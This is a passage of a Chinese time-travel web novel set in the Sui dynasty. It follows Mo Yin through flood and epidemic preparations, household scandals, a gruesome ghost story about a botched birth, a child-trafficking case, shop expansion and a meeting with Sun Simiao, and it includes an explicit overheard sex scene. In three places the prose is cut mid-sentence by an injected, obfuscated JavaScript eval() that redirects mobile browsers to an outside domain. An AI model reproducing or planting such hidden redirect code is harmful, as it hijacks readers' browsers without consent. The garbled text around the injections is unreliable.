而余下能在桂小婆手下长大的,皆是些能人,且多是十七八岁的热血汉子,也不知有无秉承高老爷子的习性。 想着这些,高夫人的头,越发疼了起来。 现今这般紧迫,先不说这般多人,住处要如此分配,光是他们每日需啖的吃食,就难以估量,只能往多了囤。而一旁听着的莫姻,又同高夫人耳语,悄声提醒道: “夫人还需多存些炭火、火种、能入口之水和药材。” 炭火、火种,甚至水,高夫人皆能理解,但药材又是何说法? "夫人,我一会儿同您解释,定有用。" 见莫姻如此言之凿凿,高夫人自是信她的,便又叫来药材铺的管事,按照莫绸说的药材,都多备了些。 待众人退下后,她方向高夫人解释。 她也是今个瞧见杀猪血遗留在院子中,招来些苍蝇蚊虫,才终于逼迫自己面对一早便隐隐产生的念头。 尤其在古代,大水之后,多有大疫啊! 洪水携带的秽物、冲死的尸体,不仅会污染水源,成为传染病的传播媒介,害饮用的人生病,堆积下来的尸体还会滋生细菌和病毒,成为疫病的源头啊。况且现今还是初春,蚊虫苍蝇本就急速繁殖,洪水后,水体面积扩大、湿度增加等因素,更将带来一场蝇纳生长繁殖的盛大狂欢。而因着水祸,多是逃荒的难民,恐惧、饥饿,甚至夜不能寐,皆会让他们丧失免疫,更易染病。 若再加上无药亦无医,要不了几日便会没了性命。 到时尸横遍野,聚蚊成雷,蝇纳群绕,整个大隋将哀鸿遍野。 莫姻思及,便寒毛卓竖,心尖发颤。 高夫人院内,莫姻同夫人想着今后,眉目紧锁,而出了高夫人院子的张妈妈,随即就摸到了东跨院张姨娘处。自上次张姨娘惹了夫人生厌,后又遇上莫遇险,她至今仍被夫人牢牢把控。监视她的丫鬟暖香,见来的是夫人身边的张妈妈,收了她一把铜钱,便吃酪浆饮子去了。 “你这个老货,是来瞧我笑话的。” 见着唯一的亲人,张姨娘嘴也不留情面,还怪张妈妈这般久才来看她。 听她落到如此境地了,竟还在使小性儿,张妈妈转身便想走。 但瞧见她尖尖的下巴,四肢也不见有多的五两肉,肚儿却开始显怀了,终还是心有不忍。 从怀中摸出个钱袋子,整个都给了她。 见她还提溜着钱袋的重儿,又咬咬牙,取了头上足金的钗子,脱下腕间纯银的镯子,皆给了她去。 “多备些吃食吧,别饿着你和肚中儿。” 说罢,张妈妈也懒得再同她白费口舌,推门径直走了。 “还算你有良心!” 张姨娘在其身后嘟囔着,见她跨出门槛,关了门,忙将银子用桑皮纸裹了几成,又套上麻布,闪身进了里间,塞进了虎子里。虎子,就是大隋大户人家多用的尿壶,因着形状像伏虎而得名,头部上扬,有一较细的颈部开口,虎身则圆润饱满,无论男女皆适用②为了日常方便,多放于床榻附近,钱藏在张姨娘眼边,她方放心。 翌日一早,倒尿壶的丫鬟,始终觉着今个这虎子有些重。 见张姨娘守在一旁,也不敢多逗留,提着接尿的恭桶便跑了。 一面低头往外退,一面在心中腹诽: 不会是在里头拉了粪,今个才这般看着我罢,这么怪道恶心,就觉着今个虎子臭气熏天。 而屋内,张姨娘见小丫鬟这般磨蹭,仍觉不放心,况手中有余钱,她心中又犯痒痒。 这还是当年逃荒时,留下的后遗症。 当年逃荒,她身上的细软皆被抢了,现在但凡有钱,若没花出去,日日夜不能寐。 因着在高府好日子过久了,脑袋也生锈不转了,她自没悟出张妈妈是何意。 径直赏了暖香一个碎银子,央她帮着买了些香料,将银子都用了个七七八八方作罢。 久不用这些金贵玩意了,她喜欢得紧,每样掺了些,沉香、檀香、苏合香….… 皆装在鎏金双蛾纹银薰球内,将自己的小衣、长发腌得香气熏人。 高大人方一捞起珠帘,探头入内,就被这混成怪味的香封了鼻,接连打了四五个喷嚏,才缓过来。 气儿还没喘匀,张姨娘便扑进了他怀里,诉苦到: “大人,您再同夫人说说,就放过我罢,我又不是囚犯,日日盯着我,我睡得不踏实,吃也吃不下。” 原本美人在怀,高大人应很是享受的,却被这盖过来的香味搞得,几欲晕倒。 推开张姨娘,愤而起身,跌跌撞撞往外逃。 第40章 醒悟的各家,皆紧锣密鼓地囤着粮,老爷在洮州的车马,也终是回了长安。足足装了五车人,还不算跟在马车旁的丫鬟婆子和护卫们。 高夫人早早便将分住处的单子,呈给了高母。她这般小辈,自不好安排小娘们的住处,还得高母出马。高母也厌烦同她们寒暄,直让丫鬟婆子领他们去住处,收拾妥帖了,明个一道来她院子点卯。女眷们皆搬进了东跨院,外室们仍养在高府附近一所三进宅院内,庶子们则同高大人挤在前院。方安顿下来,就闹出些事来。 “夫人,大人院中的丫鬟,又被幸了一个。”张妈妈低头禀告。 高夫人眉眼都未抬道:“谁幸的?” "约莫是二少爷。" “抬了做通房丫头便罢了,果然跟老爷子一脉相承。这等事我早料到,今后便不必再报上来了。” 高夫人按着眉心,瞧着囤粮头疼。 见状,莫姻上前帮着揉了揉额角。 “还是我姻姻乖巧,那些个惹事精。” 见张妈妈欲言又止,莫姻复道: "夫人听听八卦,换换脑子也好。" 高夫人听罢,遂让张妈妈接着讲。 "二少爷都认下了,三少爷却站出来说是他先幸的。"张妈妈骤地语出惊人,本闭目养神的高夫人都来了兴致。见两人兴致勃勃地瞅着她,张妈妈接着爆出更大的瓜:“五少爷又说,是他们两个一同幸儿的。” “哼——”高夫人冷笑一声道,“都是些腌攒人,反正他们都住一个院儿,此次且随他们闹罢,今后可给我看紧些。” 说罢,重重扔了账本,又拨起算盘来。 吃了瓜的莫绸,念着高府这般乱,除了日常去容焕阁或书肆,更不爱出门了,就在房中捣腾莫母买回来的食料。特意让莫母去桥头的鲜肉铺子多买了些肠子,猪肠、羊肠,甚至还淘到副牛肠。剁了一背篓的肉,用猪肠灌了川味腊肠,又加了些白砂糖,做了广味腊肠。抱出从秋曜坊带回的猪血坛子,倒了些在肉糜里,加了盐、丁香粉等,灌入羊肠中,做成了细长的血肠。 还找豆腐西施买了些嫩豆腐,混着做了豆腐肠。 最让莫绸欢喜的是排骨肠,虽麻烦了些,但做时想着焖饭流油的场景,还是馋得她直流口水。 只是可惜今年本就柴火不丰,也没有存下柑橘皮、柚子皮,没法熏了做正宗的家乡风味了。 见街边竟有小娃卖咸鸭蛋,莫姻又拉着莫母买了些,将蛋黄塞猪肝里,腌了几日,晾成了龙肝凤胆。 剩下的肉,或腌了盐,裹上草木灰,做成咸肉;或是串了竹扞子,做菜时就吊土灶上,烤成了干巴肉。 看着日渐被吃食堆满的小屋子,莫姻很是有成就感。 晚间与莫母用膳时,莫母又同她分享了近来接生的新瓜。 前几日,莫母在七品官员录事参军陆大人的府中,帮其继室接生。 因着胎儿不小,起初不算顺利,但莫母还未发力,便有一管事婆子进来传陆大人的话,说是若不能大小皆安,就保大。 自是未到这般田地,莫母除了感叹这大人还算有良心外,便没太在意。 也不知是接生这胎站太久,还是近来同莫姻吃多了腊肉,竟大便难下,莫母鼻中塞着枣核,蹲得脚都麻了,也未拉出。正焦灼着,忽而身后传来窃窃私语。 "前人栽树后人乘凉,还是继夫人命好啊!"“此话怎讲?”“姐姐你竟不知?小心些罢。” 随着丫鬟们小声八卦,正蹲在一帘之后的莫母,听了个全套。原来录事参军的原配,就是因难产死的。当时正值隋文帝病重,杨广把持宫门,禁止出入。 跟随杨广,当时还不是录事参军的陆大人,遇上夫人难产也无法赶回,便将家中一切交给了老母。陆老太自来就瞧不上这个文文弱弱的儿媳,见她连孙子都生不下来,这般无用,就对稳婆道——不计一切保小。后因婴头卡住,稳婆拉了马,将原配置于马背上颠簸,仍未能生出。 眼见着羊水污了,为保小,稳婆就剪开了原配的会阴,一面喊了三四个虎背熊腰的婆子死命按她肚子,一面用擀面杖滚压她腹部,硬是将胎儿挤了出来。这般折磨,就算稳婆将裂得稀烂的会阴缝上止了血,原配也烧了整日,未挨到陆大人归来便死了,只留下个满脸乌青的婴儿。 随着婴儿日渐长大,府中人发现他竟是个傻的,还时常对着老夫人身后傻笑。丫鬟多传,定是傻子能瞧见老夫人身后缠着的厉鬼。 一日夜里,雷雨交加,老夫人被轰鸣声震醒,让大丫鬟伺候着出恭。点了灯,一盏微弱的烛台只能隐约照亮四周,窗罩、帷幔、木几甚至老夫人的被面上,竟出现了一个个血手印。 忽而,听见院中传来奇怪的声响,她们透过印满血手印的窗往外探,院中竟有个披散着发,光着身子像野人的女子,正趴土里不知在撕咬着什么。女子啃得满脸、满嘴是血,猛地抬头,她目光阴沉地看向她们所在的方向,张开了血盆大口,吓得她们忙躲到窗下,大气都不敢出。渐渐地,院中没了声响,当她们再抬头看向那处时,女人已不见了踪影,她们却觉颈后一凉。 一回头,女人同她们脸 贴脸。 翌日卯时,待丫鬟们上值后,方发现倒在屋内的老夫人和大丫鬟。老夫人摸着身子都凉透了,大约昨夜便被吓死了。 丫鬟还有气儿,被救活后,也彻底疯了,但大家还是从她那一直颠来倒去的喃喃自语中,拼凑出了那晚的诡异。杨广初上位,这般怪力乱神定会毁了陆大人的前途,因而孝期未过,他便娶了填房,还特地算了生辰八字,亦是为了冲喜。不过也是邪门,至此府中再无怪事发生。 就着惊悚瓜下饭,莫姻都没了胃口,一面暗自催促自己要把酒精弄出来,一面又觉此事多是能推敲之处。 世间最可怕的断不会是鬼怪,而是人心啊,还是要将这些冥顽不灵的老太弄开啊! 莫母原本是见莫绸愈发大了,却还是对接生颇感兴趣,甚至还接生了头小狼,方说了这个故事吓唬她,想让生畏。但她不仅不怕,又念叨着她那没影的接生馆事业,还担忧起她的安危来。 "你娘白混这些年了?" 因着她现今接生的人家都不算简单,莫母对这些尤为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14823033|146029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 注意,若不慎接触到阴私,真是怎么死的都不知道。“你担心我,还要同我学?”莫母另辟蹊径,继续劝道。 “我开接生馆让她们来我这儿生,不仅接触不到这些,还能多救她们的命呢!”莫姻振振有词。"哼,还是童稚纯真,天马行空呢,若真有那日,阿娘定支持。" 莫母笑笑亦随她去了,她这闺女常常有些奇思,若能成真,自是女子们的福音。 毕竟,若没有不靠谱的稳婆、乱指挥的婆母、心术不正的“身边人”,女子这“鬼门关”应是要好闯许多罢。 因着高府今岁囤粮、杀猪、宰羊,大伙儿皆过了个富裕年,开春都壮了不少。 莫姻在槐花树下一量,竟长了一寸,脸也长开了些,愈发有美人模样。 春日是生长播种的季节,容焕阁又迎来了高峰。 多为备孕或已孕的娘子们,提前来添置物件,以免坐月子没法出门挑到自己喜欢的花样,还同小神仙抱怨为何不能送货上门。 大隋有名的绣房,皆是能上门丈量尺寸。 起初多因高府的关系,大家碍于面子情,在开业时象征性的捧场。 哪知,一入容焕深似海,从此就离不开了。 日日都念着容焕阁又出了什么新宝贝,有了什么新花样,因而皆愿亲自来。 来了有医女们深入浅出地讲解,或养娃、或养生,或产后调摄、或娩身之宜忌,还有小神仙随机掉落的蟠游发糕,因而尚未有人提出这点。 现今大家忙着备孕,这点就又被提了出来。 “承蒙大伙儿抬爱,但您瞧我这店,就这么些人手,务以质胜,可不敢再将人派出去。”莫绸赔笑拒绝。 这妇人环顾一周,见铺子人流这般大,众人皆忙得脚不沾地,亦认同的点点头。况这铺子才开,恐方盈利,她断不好嚷着让人家多招人手,遂作罢。待日后扩大规模,送货上门自是可的,但现今莫姻更想让众人亲自来买。她已同医女们商量过,多说些产育知识,潜移默化间养成众妇人的求知欲。习惯养成后,她们再顺势开启孕妈妈课堂,从传播科学生产知识的方面,降低产妇们的死亡率。 因着莫姻赔笑着作陪,妇人愈发满意,家中人还说她拈酸,你瞧别人怎么一幅她说得颇有道理的模样? 被捧舒服的同时,又多添置了两套,一旁走过去的晴姐儿对莫姻击节称赞。 因着每七日便需盘账,莫姻就同王娘子商量将此日定为休沐。 当日一早莫姻便同掌柜、铺娘们一道上值,店铺打烊后,方独自盘存。 自知莫姻休沐日,要亥时初方回高府,长孙无忌很是担忧,皆要陪同。 一人盘存无聊透顶,四周全是货物,但凡出一点动静,就让她心中毛毛的。 她还将狼崽子也带来陪她,但它这般小,也不抵用,还是心存恐惧。 现在有人陪,还能多个人说说话,自是好的。 况且,长孙无忌从最初便送她回家,她早已习惯他的陪伴,很是安心。 只是不知从何时起,李家二公子李世民,也加入了他们的队伍。 第41章 李二郎来就罢了,还搬了个双陆棋盘放在库房角落。 每每莫姻挑灯奋战,瞧着一旁席地而坐,悠闲对弈的二人就气得牙痒痒。也不客气,上去一人一个后脑勺拍了才舒爽。就算将来是皇帝,现在也是在他面前讨打的臭弟弟。 是的,虽然李世民比莫姻大了几月,但实际年龄三十多的莫姻仍以姐姐自居。“阿姻何必这般粗鲁,辅机你说,将来可怎么办啊?”李世民一幅老大哥为不懂事的小妹操劳的口吻,听得莫姻头更疼了。 “有我等护住,怕甚。”长孙无忌又下一格,不甚在意道,“姻姻这般挺好的,别让人欺负了去。”"也是,不服就打到服!"李二郎听罢亦是赞同,辅机次次能说中他心坎。 听着两个小伙伴甚至幻想起如何帮她找回场子,莫姻又叹了口气。 抱起一旁正瞧他们起劲的狼崽子猛吸一口,回了库房内的书桌上,头脑风暴地算起账目来。 因盘腿席地而坐,莫姻总是勾腰驼背,怕身子长坏了,便将宋代才出现的书桌捣鼓了出来,但她一直苦练的转笔技能还未完全掌握。 为了不让这门手艺失传,她对书桌藏着掖着不敢推广,想着至少不能让这绝活是断在她手上。 但亲近之人总能发现,李世民和长孙无忌家中现皆安上了书桌。 莫姻只好又苦口婆心地劝,声情并茂地点明害处,诉说转笔书写的优美。 幸而他们皆为自律之人,每日仍勤加苦练书法,自然包括转笔。 日日操心这门手艺,莫姻都觉待李世民上位后,定要同他讨个非物质文化遗产守护大使的名头。 心中一面吐槽,一面算得飞快,还好小时被小姑逼着学珠心算,现是起大用了。 正一心二用着,一抬头眼前立着两道人影。 "你俩干嘛呢?又想挨揍?"莫绸猛地被吓了一跳,火气又上来了。“每每看到阿姻这般技能,都觉惊奇。” 李二郎不理她,顾自感叹着。 "我不是都教会你们了?" 莫姻翻了个白眼,她这点技能早被他们掏干净了,还同她在这儿装。“姻姻还有多少,我帮你算些。”长孙无忌给她顺毛。 莫姻欣喜点头,拉他坐下,分了一本账目给他,李二郎也捡了本,帮忙算起来。送莫姻回高府的路上,李世民同长孙无忌讨论着案子。“阿兄,办的何案?” 莫姻好奇追问,原不愿她担忧的长孙无忌,方同她讲起始末。 原是上次莫姻和长孙无忌在东市发现的那座荒院,果真是贩卖孩童的窝点。 在莫姻去报官时,他们正收拾东西准备转移。 见状,猫在院外一颗歪脖子树上的长孙无忌,只好趁他们未留意之际,翻进院子欲阻止。 还未等他出手,人贩子们七嘴八舌闹起了分歧。 为躲避官府的追查,他们欲分成四波逃走,东西都收拾好了,却为着分人僵持不下。 他们皆想要自己那队,多带走些貌美的胚子,卖去青楼为妓,或卖去大户人家做丫鬟,皆是笔不菲的收入。 几方谁也不愿吃亏,吵得越发不可收拾,长孙无忌趁机狠狠射出几枚石子。 "你他娘的,还敢偷袭!" “傻大个,你还动手!” “谁先动的手,别不认账!” "我还怕你们不成?" 皆是些膀大腰圆的懒汉,抡起拳头来却像是发疯的公牛,直打到了官差们围了院子。 因着都没跑掉,官差们连诈带打,竟问出他们在长安城还有别的据点。 连夜打击,端掉好几个窝点,但衙门似有他们的内应,还是让人贩子头头跑掉了。 为了能将他们抓捕归案,他们又找到长孙无忌,询问其是否记得更多的细节,还想让他当饵引出逃走的人贩子。 长孙晟因着儿子能为朝堂做贡献,很是满意,爽快应下,还敲打长孙无忌定要好生表现,争取早日入军营,夺军功。 长孙无忌无所谓地应下,心中却暗自庆幸莫姻不在长安城内,方逃过了当诱饵。 待莫姻回长安城后,长孙无忌仍不放心,除了暗中派人手保护,日日护送外,又叫上了李家二郎。 "不过姻姻亦不用太过担忧,他们约莫已远遁。"长孙无忌见莫若有所思,便出言安慰。 “搜了这般久,衙门若真有他们的内应,他们定已逃出长安城。”李世民亦猜测道,只是这般,再想抓他们,可就难了。“那些孩童,都找到亲人了吗?” 她低声询问,古代可没有寻人启事,若孩子不记事,可难觅亲人了。“大些的都找着了,小些的难啊。”长孙无忌亦是苦恼。“那如何处理?”莫绸忙追问,大隋可没有孤儿院啊。 “往我家塞了四个!”李二郎仗义道,“没事,我都塞我娘院中了,至少饿不死、冻不着。”“也是没有法子了,我还同我娘和我妹妹一人院中塞了四个了。”长孙无忌也很无奈。 这次救出许多孩童,三四岁的亦不少,皆不记得家在哪儿,官府塞不下,又让他爹帮忙,他爹说着锻炼他,只将这麻烦甩给了他。他拉着李世民都快成这些孩童的“大理寺卿”了,一面破案 找家,一面还要安抚情绪。 终是解决了大部分,这剩下的十二人,或家中不肯认,或是已家破人亡,他们便只好自己收了。 好友间总有聊不完的话题,转瞬就到了高府。 因劳烦他们陪着这般久,莫姻遂邀他们进院吃些夜宵再走。 莫母正温着锅子,见她带着二人进来觅食,忙在锅旁贴了胡饼。 先从水缸中捞出块生肉,同小狼崽拌了碗红生。 又搬出铁盘,莫姻烧起火炉子后,搭上木梯,爬到屋顶上取了块咸五花。 切成厚肉片,摊在烤盘上,五花肉滋啦啦地冒着油。 李世民同长孙无忌皆不是小性儿的人,帮着洗了莴苣,还按着莫绸的指挥翻肉。 "这肉包在莴苣里,巨香!" 莫姻同二人皆卷了一个,长孙无忌吃完很是买账,学着莫姻的吃法同她一道顽。 李世民还想出塞到胡饼中吃的法子,哽得更有滋有味。 “阿娘也吃一个。” 见阿娘只坐一旁帮他们瞧着火,她忙喂了个给娘亲。夜幕下,火光映照着他们大快朵颐的脸庞。"哈哈哈哈,你脸上全是油!" 李二郎瞥见莫姻在夜里,脸还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14823034|146029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发着亮,仔细一瞧,全是油。莫姻下意识用油手摸了一把脸,更油了,气得回嘴: “你个臭弟弟!” “我是你兄长!”李二郎又塞了口夹肉胡饼,拉了长孙无忌来帮忙,“辅机,你瞧!她不敬兄长。”长孙无忌只低头憋笑,二人皆油光满面,还菜鸡互啄的样子,甚是逗乐。“你笑话我们!” 李二郎立马反应过来,押着长孙无忌,莫姻亦上手帮他做脸部按摩,成功将他也变成了油脸。 “哈哈哈哈——” 笑声从小院中传开,带着欢乐的味道,随着肉香飘远了。 翌日,莫姻同高夫人请安时,便见她理着手中的地契,撒气。 “阿姆,怎一早就这般大的火气?” 莫姻从斑竹盒中,倒了几朵甘菊,提了壶细长口、圆肚腹的烫瓶,在敞口圆足的邢窑白瓷杯内泡了菊花茶,给高夫人下火。高夫人抿了两口,方散了气道: “那些个外室们,三两日的闹事,一会珠钗不见了,一会金耳坠被人扯了。这不,又来了两个打架抓破脸的,老爷子竟让我多出些院子,将她们分开安置。我呸。” “呸呸呸,小人都走开!” 同高夫人一道,呸了几口,莫姻想到容焕阁的扩张。 容焕阁后院,她前个见农庄管事时,央他们帮着移栽了些桃树、杏树,还找赵妈妈搬了些假山,甚至挖了几从竹子点缀其中。 后又拉着莫母,去请了前些日子帮着砌小院墙的黄大哥拉来些河沙,做成沙池。 同高府木匠讨论了滑梯、秋千、跷跷板等,准备打造个亲子乐园。 原本院子瞧着不小,但她一绿化,一美工,这点地就显得不够用了。 东市高夫人还有一处铺子,但离得较远,莫姻想将此处规模扩大,需买周边的铺子。若发大水,先不说贫苦百姓,长安城内必会涌入大量的小富人家,商贾必不可少。到时东市的房屋必定涨价,就算现买来空着,到时再租赁亦有赚头。 想着扩建,莫姻便尽量找铺子附近的。容焕阁旁,一面是兵器铺,一面是茶馆。 因着容焕阁生意好,一旁提供吃食、休闲的茶馆是赚了,但兵器铺就门可罗雀了。 最近卖出的兵器,还是容焕阁的武娘们买的。 但她们都是多年练武的,家中武器甚多,也就一人买了一两件图新鲜。 武器铺子本就生意不丰,后又加上旁边有个产后用品铺,来者多为女子,有男子都去陪着夫人当四好男人了,断没空来逛他们这铺子。他们本就预备换地开,见莫姻出价公道,爽快地卖了。最让莫姻满意的,是容焕阁和武器铺正后方,另一条街的铺子。 本是个马行,售马匹、骡子等,但因着杨广上位以来,战事频繁,不仅消耗了大量的马匹,让他们不能低价买到良马,更让长安城内男丁锐减,买马的人自然也少了。坚持了一年,他们终是开不下去了。 因着马行大,卖价也高,一直无人问津,他们的价一降再降。 这个马行就是小马驹待的马行,莫绸也是在此处接马时,瞧见了他们新降价后张贴出来的售卖布告。只是这样一来,要投入的自是翻了翻,连一向支持她的高夫人也罕见犹豫起来。 第42章 高夫人虽亦觉莫姻说得在理,但因着今岁囤粮,花出去不少银子,再给就是她的体己钱了。 见夫人迟疑,莫姻咬咬牙道: “夫人,不若算您借我的。现今我们二八分账,今后就四六分。”“好呀,你个小滑头,也不容我考虑,借钱可以,不过要算利钱!” 一番拉扯,待地契到手后,莫姻竟欠下了高夫人八百两银子,高夫人每月收她一贯的利子钱。 收房在下月,马行老板正忙着清仓大甩卖,莫绸还带着长孙无忌和李世民想去捡漏。好马是没挑着,反而拉了几头骡子走。大隋的骡子,分两种。 马骡是公驴、母马杂交,体型偏向马,高大气力也大,李世民要了些,说是能帮他爹驮盔甲、兵器。 驴骡是公马、母驴杂交,比马驴小,偏向驴,走山路很是灵活,长孙无忌买了几头,帮长孙家往返长安城和农庄运粮。春日已至,花朝花暮,争奇斗艳。 莫姻同秋曜坊众人,却是无人赏花,纷纷争当俗人。牡丹、芍药调制香露,迎春、桃红做成春日限定面膜。杏、梨花做抗老面霜,樱花泡成美容养颜酒。 而望春花,则制成了含服的药丸,能滋养脏腑、美容养颜、清新口气……托赵妈妈加急定了一批模具,终是赶上了元宵节,欲赚大钱。而高府大早上,大厨房里的杨嫂子就吆细娘们刷羊子,她烧羊肉,先收拾妥帖端上祭祀台,给祖宗尝。 余下人,更是忙得热火朝天,备元宵的席面。 今岁,高老爷仍去洛阳,陪着杨广夜游,与民同乐,足足要持续半月之久。 他是纵意且乐去了,他拉回来的那几车人却丢在高府,是要张口啖食的。连爱偷嘴的倪大娘都被调到大厨房帮工,大过节也垮着脸,骂骂咧咧。高夫人忙着回帖子、送节礼,院中丫鬟支使了个遍。而吃了酒的高大人是个不理事的,躲到高母处讨清闲。 "你在我这处躺个啥,同你浑家亲香去!"高母都看不惯赶人。 “夫人忙着呢,哪儿有空搭理我。”高大人倚着胡床,心不在焉地翻书。 “你那些妾室是摆设?不去下蛋,在我这儿耍闲。”高母点着高大人的额数落他,“你最乐呵的张姨娘处不去了?” 高大人听了也不答,直用书盖了脸,装睡。 哪儿是他不想去,奈何他一跨进张姨娘院子就想起那日的恭桶,总觉四处滂臭,直犯恶心。 勉强进了房中,姨娘瞧见他很是热情,他亦觉血气上涌,但任姨娘使劲浑身解数,他就是出不来。 姨娘不信邪,翻来覆去搓揉,那处都充血肿了,直像冻伤的萝卜。 别说舒爽了,更憋屈得慌,多来两次,他约莫也废了。 这边高大人正担心着自己今后的性趣,那边东跨院竟开起了戏场。 大隋元宵的热闹程度空前,排场极大,《隋书·音乐志》称“绵亘八里,列为戏场①。 洮州人马因着方回长安,无人领着不敢出门夜游,便自个在东跨院办了起来。人戴兽面,男为女服,鸣鼓聒天,燎炬照地。正在东跨院帮高夫人找君子兰的莫姻,又被迫吃到了瓜。她亲眼瞧见两个女子穿着的人,上半张脸,假面贴假面,紧接着,下半张脸就嘴连上了嘴。 因着灯火摇曳,也辨认不出是女女、男男还是男女。 一面拖着背篓往假山后躲,她一面还在思考:到底是高老爷被戴了绿帽子,还是见证了古代版骨科?方藏好裙摆,那两人竟径直往假山奔来。她心中一个咯噔,不会被发现,然后杀了灭口罢。二人疾行至假山前,转悠了几圈,躬身闪进了黑黝黝的假山洞。 洞内仅有一人立足之地,方才她也瞧见了,觉着里头没退路,便没躲进去。 "小娘,香一口。" “你个小色鬼,别猴急啊,啊——”“腿盘紧些,别装了,骚货!”"啊,比你那老头子有劲多了。"“爽不爽,谁更厉害——” 呻吟渐响,伴着衣裳被撕破的声儿,一块绣着牛角花的裙边飘到了莫姻脚边。 她正听得羞红了脸,忙用手帕裹着卷进了香囊,蹑手蹑脚地往远处逃,心中还在感叹,还是自个儿想浅了。魏晋南北朝时,有流传下一古怪习俗,人们将偷窃当戏耍,可以互相随意偷窃而不受惩罚。最早见于《魏书》的记载,“四年春正月禁十五日相偷戏”。而别人只是互相偷些价值不高的小玩意,你们是直接偷人啊。 回了下人院,莫母正煮着元宵。 这元宵特意在马家铺子买的滴粉汤圆,用井水淘洗出珍珠般的江米,里头桂花香馅裹着胡桃仁。 正同莫母吃着元宵,小院中零散几颗石子落地。 端着碗,一抬头,长孙无忌同李二郎正挂在斜颈树上,邀她出去顽。 “快去快去——” 阿娘摸了把碎银子塞她袖里,将她送出门。一开院门,门外的单大人,不知已在门口晃悠了多少圈了。“阿娘也快些罢!”打趣着阿娘,见她罕见地红了脸。 趁阿娘回屋梳妆时,她仔细打量单大人,直把小伙伴们瞧得都着急了。长孙无忌蒙上她的眼,李二郎拽着她的胳膊,二人哄着她上了街。市井间,箫鼓喧腾,人影攒动 ,条条道上幽香阵阵。她还拉着他们,提花灯,过小桥,绕城墙,讲述何为游百病。 大隋没有游百病这一说法,多是明清以后妇人们的习俗。 在元宵节,着盛装,成群出门,走桥渡危,登城,摸钉求子,夜半始归。“有用吗?”李二郎好奇询问。“只是一种美好的愿景。”莫姻加重语气重复。“所以没用。”长孙无忌帮忙总结。两个大直男,莫姻气得又一人拍了一掌,回了高府。 方进屋,郑妈妈便送来—碟高夫人赏的兔子面灯,足足十二盏,代表一整年。 面团搓成圆球是兔子头,细长条弯曲成兔耳,红豆点出眼,剪子剪出嘴、胡子、尾巴和四条腿,还用剔牙签子按了爪印。 中间放着杏仁油,镶了根棉做灯芯,一闪一闪寓意驱妖避邪祛病。 “绸姻好生收拾,夫人让你过几日同她一道去终南山上香。” 走前郑妈妈还扔下这一消息,莫姻瞬时心花怒放,途中她得仔细找找折磨她的官差,想个法子,这个仇她是定要报的。终南山,又称太乙山,除了是牧场圣地外,从秦周以来就是道教发源地之一,是其“十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14823035|146029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大洞天”之一的“朱陵洞天”。大隋时,佛教空前繁荣,终南山周边又建起众多佛寺,甚有“南五台”之称,高夫人要去的是其著名的“草堂寺”。 一路上,风平浪静,别说搜查的官差,就是拦路的乞儿也无。 许是高夫人有运势,或是缘分到了,他们一行人竟还见到了最负盛名的吉藏大师。吉藏大师在法堂讲经说法,一旁还坐着个灰袍老者。莫姻在现代作为新时代接班人,对此毫无了解。见她一头雾水,高母怕其冲撞了大师,便细细同她讲着。吉藏大师讲的是三宗论:法相宗、破相宗、法性宗….. 抱着学习的态度莫姻努力听,但愈听愈晕乎,又快睡着了,心中想着才穿越来时,在义庄听僧人与上吊女尸念往生咒时,自己也是这般,不禁感叹道:“与我佛无缘啊!” "有缘才会相见,只是缘深缘浅。" 听罢,莫姻猛地抬头,她虽困得不行,但确定自己没有将心中的话说出口。环顾四周,竟只剩吉藏大师同这灰袍老者,立于她面前。凑近了瞧,莫姻才惊觉,这灰袍老者衣上画有五行八卦,应是道服。好家伙,你们这佛、道不是对家吗?怎么还一道授课,这是准备出联名款?心中正吐槽着,她再抬头往那道士脸上望去,竟是当日风雨山神庙所见的老者!这老者见她认出他,方道:“佛大概就是指引你,入我道的。” 她听罢,心头一凛,虽然与这老者有一面之缘,对他好奇,但她可不想入道教;虽然入道教不用剃头,但她可不想当尼姑。灰袍老者似亦能闻及她心中所想,长笑一声道: "是入我道,为我的弟子,此道非彼道。"“敢问如何称呼,您道为何道?”"世人多唤我孙真人。" 孙真人友善说道, “不过若你成为我弟子,应知我俗名——孙思邈,我道为……” 听完这个名字,剩下的莫姻已听不进去,也不需要听了,医学生还能不知道孙思邈?!回高府的路上,莫姻还觉晕乎乎的。 怎么一不小心就认识了孙思邈,更奇幻的是还成了他弟子。 孙思邈也不用她留在终南山修行,扔了些药典、医书给她,让她啃透,说他自会上门来教;扔了三个锦囊,说是危急之时再打开,便让她离开了。就径直将这些物件丢给一小女娃? 是他收徒太草率,还是他知我有医学基础? 